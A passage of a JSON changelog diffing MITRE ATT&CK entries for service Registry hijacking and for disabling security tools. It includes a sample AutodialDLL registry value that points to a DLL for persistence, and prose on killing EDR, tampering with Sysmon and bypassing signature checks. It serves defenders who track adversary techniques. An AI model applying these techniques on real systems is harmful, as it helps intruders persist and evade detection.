\"--- \\n+++ \\n@@ -1,9 +1,15 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n-If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n Adversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n \\n The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n \\n-Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\\n+Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n+\\n+For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n+\\n+\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n+\\n+This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"gendigital\", \"old_value\": \"troj_zegost\", \"new_path\": \"root['external_references'][10]['source_name']\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.\", \"old_value\": \"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.\", \"new_path\": \"root['external_references'][10]['description']\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies\", \"old_value\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost\", \"new_path\": \"root['external_references'][10]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"hexacorn\", \"description\": \"hexacorn. (2015, January 13). Beyond good ol\\u2019 Run key, Part 24. Retrieved September 25, 2025.\", \"url\": \"https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/\"}, \"root['external_references'][7]\": {\"source_name\": \"MDSec\", \"description\": \"MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.\", \"url\": \"https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/\"}, \"root['x_mitre_contributors'][2]\": \"Joe Gumke, U.S. Bank\"}}",
"previous_version": "1.2",
"version_change": "1.2 \u2192 1.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Flaws in the pe | ||
| > | use flaws in the permissions for Registry keys related to s | > | rmissions for Registry keys related to services can allow ad | ||
| > | ervices to redirect from the originally specified executable | > | versaries to redirect the originally specified executable to | ||
| > | to one that they control, in order to launch their own code | > | one they control, launching their own code when a service s | ||
| > | when a service starts. Windows stores local service configu | > | tarts. Windows stores local service configuration informatio | ||
| > | ration information in the Registry under <code>HKLM\\SYSTEM\\C | > | n in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\ | ||
| > | urrentControlSet\\Services</code>. The information stored und | > | Services</code>. The information stored under a service's Re | ||
| > | er a service's Registry keys can be manipulated to modify a | > | gistry keys can be manipulated to modify a service's executi | ||
| > | service's execution parameters through tools such as the ser | > | on parameters through tools such as the service controller, | ||
| > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | ||
| > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | ||
| > | /software/S0075). Access to Registry keys is controlled thro | > | Access to Registry keys is controlled through access contro | ||
| > | ugh access control lists and user permissions. (Citation: Re | > | l lists and user permissions. (Citation: Registry Key Securi | ||
| > | gistry Key Security)(Citation: malware_hides_service) If th | > | ty)(Citation: malware_hides_service) If the permissions for | ||
| > | e permissions for users and groups are not properly set and | > | users and groups are not properly set and allow access to t | ||
| > | allow access to the Registry keys for a service, adversaries | > | he Registry keys for a service, adversaries may change the s | ||
| > | may change the service's binPath/ImagePath to point to a di | > | ervice's binPath/ImagePath to point to a different executabl | ||
| > | fferent executable under their control. When the service sta | > | e under their control. When the service starts or is restart | ||
| > | rts or is restarted, then the adversary-controlled program w | > | ed, the adversary-controlled program will execute, allowing | ||
| > | ill execute, allowing the adversary to establish persistence | > | the adversary to establish persistence and/or privilege esca | ||
| > | and/or privilege escalation to the account context the serv | > | lation to the account context the service is set to execute | ||
| > | ice is set to execute under (local/domain account, SYSTEM, L | > | under (local/domain account, SYSTEM, LocalService, or Networ | ||
| > | ocalService, or NetworkService). Adversaries may also alter | > | kService). Adversaries may also alter other Registry keys i | ||
| > | other Registry keys in the service\u2019s Registry tree. For exa | > | n the service\u2019s Registry tree. For example, the <code>Failur | ||
| > | mple, the <code>FailureCommand</code> key may be changed so | > | eCommand</code> key may be changed so that the service is ex | ||
| > | that the service is executed in an elevated context anytime | > | ecuted in an elevated context anytime the service fails or i | ||
| > | the service fails or is intentionally corrupted.(Citation: K | > | s intentionally corrupted.(Citation: Kansa Service related c | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | > | ollectors)(Citation: Tweet Registry Perms Weakness) The <co | ||
| > | rms Weakness) The <code>Performance</code> key contains the | > | de>Performance</code> key contains the name of a driver serv | ||
| > | name of a driver service's performance DLL and the names of | > | ice's performance DLL and the names of several exported func | ||
| > | several exported functions in the DLL.(Citation: microsoft_ | > | tions in the DLL.(Citation: microsoft_services_registry_tree | ||
| > | services_registry_tree) If the <code>Performance</code> key | > | ) If the <code>Performance</code> key is not already present | ||
| > | is not already present and if an adversary-controlled user h | > | and if an adversary-controlled user has the <code>Create Su | ||
| > | as the <code>Create Subkey</code> permission, adversaries ma | > | bkey</code> permission, adversaries may create the <code>Per | ||
| > | y create the <code>Performance</code> key in the service\u2019s R | > | formance</code> key in the service\u2019s Registry tree to point | ||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | > | to a malicious DLL.(Citation: insecure_reg_perms) Adversari | ||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | > | es may also add the <code>Parameters</code> key, which can r | ||
| > | code> key, which stores driver-specific data, or other custo | > | eference malicious drivers file paths. This technique has be | ||
| > | m subkeys for their malicious services to establish persiste | > | en identified to be a method of abuse by configuring DLL fil | ||
| > | nce or enable other malicious activities.(Citation: microsof | > | e paths within the <code>Parameters</code> key of a given se | ||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | > | rvices registry configuration. By placing and configuring th | ||
| > | y, If adversaries launch their malicious services using svch | > | e <code>Parameters</code> key to reference a malicious DLL, | ||
| > | ost.exe, the service\u2019s file may be identified using <code>HK | > | adversaries can ensure that their code is loaded persistentl | ||
| > | EY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicena | > | y whenever the associated service or library is invoked. Fo | ||
| > | me\\Parameters\\ServiceDll</code>.(Citation: malware_hides_ser | > | r example, the registry path(Citation: MDSec) <code>HKEY_LOC | ||
| > | vice) | > | AL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parame | ||
| > | ters</code>(Citation: hexacorn)(Citation: gendigital) contai | ||||
| > | ns the <code>AutodiaDLL</code> value, which specifies the DL | ||||
| > | L to be loaded for autodial funcitionality. An adversary cou | ||||
| > | ld set the <code>AutodiaDLL</code> to point to a hijacked or | ||||
| > | malicious DLL: <code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code | ||||
| > | > This ensures persistence, as it causes the DLL (in this c | ||||
| > | ase, foo.dll) to be loaded each time the Winsock 2 library i | ||||
| > | s invoked. |
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/001",
"external_id": "T1562.001"
},
{
"source_name": "Analysis of FG-IR-22-369",
"description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.",
"url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"
},
{
"source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
"description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
"url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
},
{
"source_name": "BlackBerry WhisperGate 2022",
"description": "BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.",
"url": "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine"
},
{
"source_name": "Cocomazzi FIN7 Reboot",
"description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.",
"url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
},
{
"source_name": "OutFlank System Calls",
"description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
"url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
},
{
"source_name": "disable_win_evt_logging",
"description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
"url": "https://ptylu.github.io/content/report/report.html?report=25"
},
{
"source_name": "chasing_avaddon_ransomware",
"description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.",
"url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware"
},
{
"source_name": "doppelpaymer_crowdstrike",
"description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.",
"url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"
},
{
"source_name": "avoslocker_ransomware",
"description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.",
"url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"
},
{
"source_name": "dharma_ransomware",
"description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.",
"url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"
},
{
"source_name": "MDSec System Calls",
"description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
"url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
},
{
"source_name": "SCADAfence_ransomware",
"description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.",
"url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"
},
{
"source_name": "demystifying_ryuk",
"description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.",
"url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947"
},
{
"source_name": "Google Cloud Threat Intelligence FIN13 2021",
"description": "Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gordon Long, LegioX/Zoom, asaurusrex",
"Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security",
"Nathaniel Quist, Palo Alto Networks",
"Gal Singer, @galsinger29, Team Nautilus Aqua Security",
"Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
"Cian Heasley",
"Alex Soler, AttackIQ",
"Sarathkumar Rajendran, Microsoft Defender365",
"Lucas Heiligenstein",
"Menachem Goldstein",
"Nay Myo Hlaing (Ethan), DBS Bank"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Process: Process Termination\", \"Process: Process Creation\", \"Service: Service Metadata\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Deletion\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.019000+00:00\", \"old_value\": \"2025-04-15 19:58:57.147000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"old_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n \\n-Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n+Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n+\\n+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n \\n Adversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n\\nLack of expected log events may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n-\\n-Lack of expected log events may be suspicious.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Cocomazzi FIN7 Reboot\", \"description\": \"Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.\", \"url\": \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"}, \"root['x_mitre_contributors'][10]\": \"Nay Myo Hlaing (Ethan), DBS Bank\"}}",
"previous_version": "1.6",
"version_change": "1.6 \u2192 1.7",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
